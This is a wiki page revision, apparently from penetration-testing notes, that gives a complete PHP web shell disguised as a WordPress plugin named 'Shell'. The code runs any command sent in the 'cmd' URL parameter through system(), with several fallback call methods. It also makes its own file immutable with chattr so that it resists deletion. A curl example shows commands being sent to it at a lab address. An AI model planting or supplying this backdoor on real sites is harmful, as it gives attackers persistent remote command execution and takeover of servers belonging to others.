Difference between revisions of "WordPress Plugin - shell.php (variant 1)"
m |
m |
||
Line 13: | Line 13: | ||
*/ | */ | ||
/* | /* | ||
− | Plugin Name: | + | Plugin Name: Shell |
Plugin URL: http://google.com | Plugin URL: http://google.com | ||
Description: A quick shell plugin | Description: A quick shell plugin | ||
− | Author: | + | Author: BlakSec |
Version: 1.0 | Version: 1.0 | ||
*/ | */ |
Revision as of 09:30, 15 May 2018
The following file can be used as WordPress plugin or geneneric system call interface. Commands should be url-encoded, passed via 'cmd' param.
E.g.
curl -G "http://192.168.56.103/wp-content/plugins/shell1/shell.php" --data-urlencode "cmd=ls -altrh"
<?php
/**
* @package My_Shell
* @version 1.0
*/
/*
Plugin Name: Shell
Plugin URL: http://google.com
Description: A quick shell plugin
Author: BlakSec
Version: 1.0
*/
# prevent file deletion
$myfile = __FILE__;
system("chmod ugo-w $myfile");
system("chattr +i $myfile");
$command=urldecode($_GET["cmd"]);
if (class_exists('ReflectionFunction')) {
$function = new ReflectionFunction('system');
$function->invoke($command);
} elseif (function_exists('call_user_func_array')) {
call_user_func_array('system', array($command));
} elseif (function_exists('call_user_func')) {
call_user_func('system', $command);
} else {
system($command);
}
?>